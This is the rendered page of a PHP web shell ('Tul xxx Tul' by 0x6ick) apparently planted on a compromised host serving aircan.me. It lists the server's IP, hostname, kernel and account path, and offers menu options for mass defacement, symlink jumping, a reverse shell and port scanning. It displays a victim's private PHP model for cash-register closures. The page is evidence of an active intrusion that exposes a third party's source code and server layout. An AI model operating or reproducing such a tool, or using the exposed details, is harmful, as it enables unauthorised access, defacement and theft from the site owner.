Tul xxx Tul
User / IP
:
216.73.216.183
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
siscaps
/
models
/
Viewing: CashClosure.php
<?php class CashClosure { public static function findById(int $id): ?array { $pdo = (new Database())->getConnection(); $stmt = $pdo->prepare('SELECT * FROM cash_closures WHERE id = :id LIMIT 1'); $stmt->execute([':id' => $id]); $row = $stmt->fetch(PDO::FETCH_ASSOC); return $row ?: null; } public static function lastForCashier(int $cashierId): ?array { $pdo = (new Database())->getConnection(); $stmt = $pdo->prepare('SELECT * FROM cash_closures WHERE cashier_user_id = :uid ORDER BY period_end DESC, id DESC LIMIT 1'); $stmt->execute([':uid' => $cashierId]); $row = $stmt->fetch(PDO::FETCH_ASSOC); return $row ?: null; } public static function listRecent(int $cashierId, int $limit = 20): array { $pdo = (new Database())->getConnection(); $stmt = $pdo->prepare('SELECT * FROM cash_closures WHERE cashier_user_id = :uid ORDER BY period_end DESC, id DESC LIMIT :limit'); $stmt->bindValue(':uid', $cashierId, PDO::PARAM_INT); $stmt->bindValue(':limit', $limit, PDO::PARAM_INT); $stmt->execute(); return $stmt->fetchAll(PDO::FETCH_ASSOC) ?: []; } public static function listForCashierRange(int $cashierId, string $fromDateTime, string $toDateTime): array { $pdo = (new Database())->getConnection(); $sql = 'SELECT * FROM cash_closures WHERE cashier_user_id = :uid AND period_end BETWEEN :from AND :to ORDER BY period_end DESC, id DESC'; $stmt = $pdo->prepare($sql); $stmt->execute([ ':uid' => $cashierId, ':from' => $fromDateTime, ':to' => $toDateTime, ]); return $stmt->fetchAll(PDO::FETCH_ASSOC) ?: []; } public static function listAllWithCashierName(): array { $pdo = (new Database())->getConnection(); $sql = "SELECT c.*, CONCAT(u.first_name,' ',u.last_name) AS cashier_name FROM cash_closures c LEFT JOIN users u ON u.id = c.cashier_user_id ORDER BY c.period_end DESC, c.id DESC"; $stmt = $pdo->query($sql); return $stmt->fetchAll(PDO::FETCH_ASSOC) ?: []; } public static function listForCashierAllWithCashierName(int $cashierId): array { $pdo = (new Database())->getConnection(); $sql = "SELECT c.*, CONCAT(u.first_name,' ',u.last_name) AS cashier_name FROM cash_closures c LEFT JOIN users u ON u.id = c.cashier_user_id WHERE c.cashier_user_id = :uid ORDER BY c.period_end DESC, c.id DESC"; $stmt = $pdo->prepare($sql); $stmt->execute([':uid' => $cashierId]); return $stmt->fetchAll(PDO::FETCH_ASSOC) ?: []; } public static function listForDelivery(?int $deliveryUserId = null, array $statuses = []): array { $pdo = (new Database())->getConnection(); $statuses = $statuses ?: ['GENERATED','DELIVERED','PARTIALLY_USED','PENDING_DEPOSIT']; $placeholders = implode(',', array_fill(0, count($statuses), '?')); $params = $statuses; $where = "c.status IN ($placeholders)"; if ($deliveryUserId !== null) { $where .= ' AND (c.delivery_user_id = ? OR c.delivery_user_id IS NULL)'; $params[] = $deliveryUserId; } $sql = "SELECT c.*, CONCAT(u.first_name,' ',u.last_name) AS cashier_name, CONCAT(d.first_name,' ',d.last_name) AS delivery_name FROM cash_closures c LEFT JOIN users u ON u.id = c.cashier_user_id LEFT JOIN users d ON d.id = c.delivery_user_id WHERE $where ORDER BY c.period_end DESC, c.id DESC"; $stmt = $pdo->prepare($sql); foreach ($params as $idx => $value) { $stmt->bindValue($idx + 1, $value); } $stmt->execute(); return $stmt->fetchAll(PDO::FETCH_ASSOC) ?: []; } public static function create(array $data, ?PDO $pdo = null): int { $pdo = $pdo ?: (new Database())->getConnection(); $manageTransaction = !$pdo->inTransaction(); if ($manageTransaction) { $pdo->beginTransaction(); } try { $consecutive = self::generateConsecutive($pdo); $stmt = $pdo->prepare("INSERT INTO cash_closures (consecutive, cashier_user_id, delivery_user_id, period_start, period_end, total_income, total_outflow, net_amount, delivered_amount, pending_amount, status, voucher_path, notes) VALUES (:consecutive, :cashier, :delivery, :start, :end, :incomes, :outflows, :net, :delivered, :pending, :status, :voucher, :notes)"); $stmt->execute([ ':consecutive' => $consecutive, ':cashier' => (int)$data['cashier_user_id'], ':delivery' => $data['delivery_user_id'] ?? null, ':start' => $data['period_start'], ':end' => $data['period_end'], ':incomes' => (float)($data['total_income'] ?? 0), ':outflows' => (float)($data['total_outflow'] ?? 0), ':net' => (float)($data['net_amount'] ?? 0), ':delivered' => (float)($data['delivered_amount'] ?? 0), ':pending' => (float)($data['pending_amount'] ?? 0), ':status' => $data['status'] ?? 'GENERATED', ':voucher' => $data['voucher_path'] ?? null, ':notes' => $data['notes'] ?? null, ]); $id = (int)$pdo->lastInsertId(); if ($manageTransaction) { $pdo->commit(); } return $id; } catch (Throwable $e) { if ($manageTransaction && $pdo->inTransaction()) { $pdo->rollBack(); } throw $e; } } public static function updateStatus(int $id, string $status, array $fields = []): bool { $allowed = ['GENERATED','DELIVERED','PARTIALLY_USED','PENDING_DEPOSIT','DEPOSITED']; if (!in_array($status, $allowed, true)) { throw new InvalidArgumentException('Estado de cierre inválido'); } $fields['status'] = $status; return self::updateFields($id, $fields); } public static function updateFields(int $id, array $fields, ?PDO $pdo = null): bool { if (empty($fields)) { return false; } $allowedColumns = [ 'status', 'delivery_user_id', 'period_start', 'period_end', 'total_income', 'total_outflow', 'net_amount', 'delivered_amount', 'pending_amount', 'voucher_path', 'notes', ]; $pdo = $pdo ?: (new Database())->getConnection(); $set = []; $params = [':id' => $id]; foreach ($fields as $column => $value) { if (!in_array($column, $allowedColumns, true)) { continue; } $placeholder = ':' . $column; $set[] = "{$column} = {$placeholder}"; $params[$placeholder] = $value; } if (empty($set)) { return false; } $sql = 'UPDATE cash_closures SET ' . implode(', ', $set) . ' WHERE id = :id'; $stmt = $pdo->prepare($sql); return $stmt->execute($params); } public static function attachVoucher(int $id, string $path): bool { return self::updateStatus($id, self::currentStatus($id), ['voucher_path' => $path]); } public static function currentStatus(int $id): string { $pdo = (new Database())->getConnection(); $stmt = $pdo->prepare('SELECT status FROM cash_closures WHERE id = :id'); $stmt->execute([':id' => $id]); return (string)($stmt->fetchColumn() ?: 'GENERATED'); } public static function pendingDeliveries(): array { $pdo = (new Database())->getConnection(); $stmt = $pdo->query("SELECT * FROM cash_closures WHERE status IN ('GENERATED','DELIVERED','PARTIALLY_USED') ORDER BY period_end ASC"); return $stmt->fetchAll(PDO::FETCH_ASSOC) ?: []; } private static function generateConsecutive(PDO $pdo): int { $stmt = $pdo->query('SELECT COALESCE(MAX(consecutive), 0) FROM cash_closures'); $current = (int)$stmt->fetchColumn(); return $current + 1; } }
Coded With 💗 by
0x6ick